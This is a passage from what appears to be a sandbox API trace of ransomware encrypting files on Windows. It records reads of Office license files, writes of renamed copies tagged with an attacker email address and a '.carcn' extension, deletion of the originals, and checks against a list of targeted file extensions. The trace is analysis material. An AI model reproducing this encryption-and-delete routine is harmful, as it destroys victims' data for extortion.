[0287.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.784] lstrlenW (lpString=".dbf") returned 4 [0287.784] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.784] lstrlenW (lpString=".1cd") returned 4 [0287.784] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0287.784] lstrlenW (lpString=".jpg") returned 4 [0287.784] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.785] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.785] lstrlenW (lpString="HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 35 [0287.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.798] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11612) returned 1 [0287.798] CloseHandle (hObject=0x564) returned 1 [0287.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0287.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.804] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.804] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.808] GetLastError () returned 0x0 [0287.809] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0287.811] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0287.812] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.812] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11a, lpOverlapped=0x0) returned 1 [0287.812] SetEndOfFile (hFile=0x56c) returned 1 [0287.812] CloseHandle (hObject=0x56c) returned 1 [0287.812] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.813] SetEndOfFile (hFile=0x564) returned 1 [0287.817] CloseHandle (hObject=0x564) returned 1 [0287.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.818] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1 [0287.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.819] lstrlenW (lpString=".doc") returned 4 [0287.819] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.819] lstrlenW (lpString=".docx") returned 5 [0287.819] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.819] lstrlenW (lpString=".pdf") returned 4 [0287.819] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.819] lstrlenW (lpString=".xls") returned 4 [0287.819] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.819] lstrlenW (lpString=".xlsx") returned 5 [0287.819] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.819] lstrlenW (lpString=".ppt") returned 4 [0287.819] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.819] lstrlenW (lpString=".zip") returned 4 [0287.819] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.819] lstrlenW (lpString=".rar") returned 4 [0287.819] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.819] lstrlenW (lpString=".bz2") returned 4 [0287.820] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString=".7z") returned 3 [0287.820] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.820] lstrlenW (lpString=".dbf") returned 4 [0287.820] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.820] lstrlenW (lpString=".1cd") returned 4 [0287.820] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.820] lstrlenW (lpString=".jpg") returned 4 [0287.820] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.820] lstrlenW (lpString=".doc") returned 4 [0287.820] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString=".docx") returned 5 [0287.820] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.820] lstrlenW (lpString=".pdf") returned 4 [0287.820] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString=".xls") returned 4 [0287.820] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.820] lstrlenW (lpString=".xlsx") returned 5 [0287.820] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.820] lstrlenW (lpString=".ppt") returned 4 [0287.821] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.821] lstrlenW (lpString=".zip") returned 4 [0287.821] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.821] lstrlenW (lpString=".rar") returned 4 [0287.821] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.821] lstrlenW (lpString=".bz2") returned 4 [0287.821] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.821] lstrlenW (lpString=".7z") returned 3 [0287.821] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.821] lstrlenW (lpString=".dbf") returned 4 [0287.821] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.821] lstrlenW (lpString=".1cd") returned 4 [0287.821] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0287.821] lstrlenW (lpString=".jpg") returned 4 [0287.821] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.821] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.821] lstrlenW (lpString="HomeStudentR_Retail-pl.xrm-ms") returned 29 [0287.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.822] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10651) returned 1 [0287.822] CloseHandle (hObject=0x564) returned 1 [0287.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0287.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.823] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.823] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.824] GetLastError () returned 0x0 [0287.824] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x299b, lpOverlapped=0x0) returned 1 [0287.826] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0287.828] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.828] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0287.828] SetEndOfFile (hFile=0x56c) returned 1 [0287.828] CloseHandle (hObject=0x56c) returned 1 [0287.828] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.828] SetEndOfFile (hFile=0x564) returned 1 [0287.831] CloseHandle (hObject=0x564) returned 1 [0287.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1 [0287.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.835] lstrlenW (lpString=".doc") returned 4 [0287.835] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString=".docx") returned 5 [0287.835] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.835] lstrlenW (lpString=".pdf") returned 4 [0287.835] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString=".xls") returned 4 [0287.835] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString=".xlsx") returned 5 [0287.835] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.835] lstrlenW (lpString=".ppt") returned 4 [0287.835] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.835] lstrlenW (lpString=".zip") returned 4 [0287.835] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString=".rar") returned 4 [0287.835] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString=".bz2") returned 4 [0287.835] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.835] lstrlenW (lpString=".7z") returned 3 [0287.835] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.835] lstrlenW (lpString=".dbf") returned 4 [0287.835] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.836] lstrlenW (lpString=".1cd") returned 4 [0287.836] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.836] lstrlenW (lpString=".jpg") returned 4 [0287.836] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.836] lstrlenW (lpString=".doc") returned 4 [0287.836] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString=".docx") returned 5 [0287.836] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.836] lstrlenW (lpString=".pdf") returned 4 [0287.836] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString=".xls") returned 4 [0287.836] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString=".xlsx") returned 5 [0287.836] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.836] lstrlenW (lpString=".ppt") returned 4 [0287.836] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.836] lstrlenW (lpString=".zip") returned 4 [0287.836] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.836] lstrlenW (lpString=".rar") returned 4 [0287.837] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.837] lstrlenW (lpString=".bz2") returned 4 [0287.837] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.837] lstrlenW (lpString=".7z") returned 3 [0287.837] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.837] lstrlenW (lpString=".dbf") returned 4 [0287.837] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.837] lstrlenW (lpString=".1cd") returned 4 [0287.837] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0287.837] lstrlenW (lpString=".jpg") returned 4 [0287.837] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.837] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0287.837] lstrlenW (lpString="HomeStudentR_Retail-ppd.xrm-ms") returned 30 [0287.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.838] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=21604) returned 1 [0287.838] CloseHandle (hObject=0x564) returned 1 [0287.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0287.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0287.839] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.839] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.840] GetLastError () returned 0x0 [0287.840] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x5464, lpOverlapped=0x0) returned 1 [0287.857] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5470, lpOverlapped=0x0) returned 1 [0287.858] ReadFile (in: hFile=0x564, lpBuffer=0x46b9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.858] WriteFile (in: hFile=0x56c, lpBuffer=0x46b9020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46b9020*, lpNumberOfBytesWritten=0x3e3fc94*=0x110, lpOverlapped=0x0) returned 1 [0287.858] SetEndOfFile (hFile=0x56c) returned 1 [0287.858] CloseHandle (hObject=0x56c) returned 1 [0287.858] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.859] SetEndOfFile (hFile=0x564) returned 1 [0287.862] CloseHandle (hObject=0x564) returned 1 [0287.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1 [0287.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.864] lstrlenW (lpString=".doc") returned 4 [0287.864] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString=".docx") returned 5 [0287.864] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.864] lstrlenW (lpString=".pdf") returned 4 [0287.864] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString=".xls") returned 4 [0287.864] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString=".xlsx") returned 5 [0287.864] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.864] lstrlenW (lpString=".ppt") returned 4 [0287.864] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.864] lstrlenW (lpString=".zip") returned 4 [0287.864] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString=".rar") returned 4 [0287.864] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString=".bz2") returned 4 [0287.864] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0287.864] lstrlenW (lpString=".7z") returned 3 [0287.865] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0287.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.865] lstrlenW (lpString=".dbf") returned 4 [0287.865] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0287.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.865] lstrlenW (lpString=".1cd") returned 4 [0287.865] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0287.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.865] lstrlenW (lpString=".jpg") returned 4 [0287.865] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0287.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0287.865] lstrlenW (lpString=".doc") returned 4 [0287.865] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0287.865] lstrlenW (lpString=".docx") returned 5 [0287.865] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0287.865] lstrlenW (lpString=".pdf") returned 4 [0287.865] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0287.865] lstrlenW (lpString=".xls") returned 4 [0287.865] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0287.865] lstrlenW (lpString=".xlsx") returned 5 [0287.865] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0287.865] lstrlenW (lpString=".ppt") returned 4 [0287.865] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") 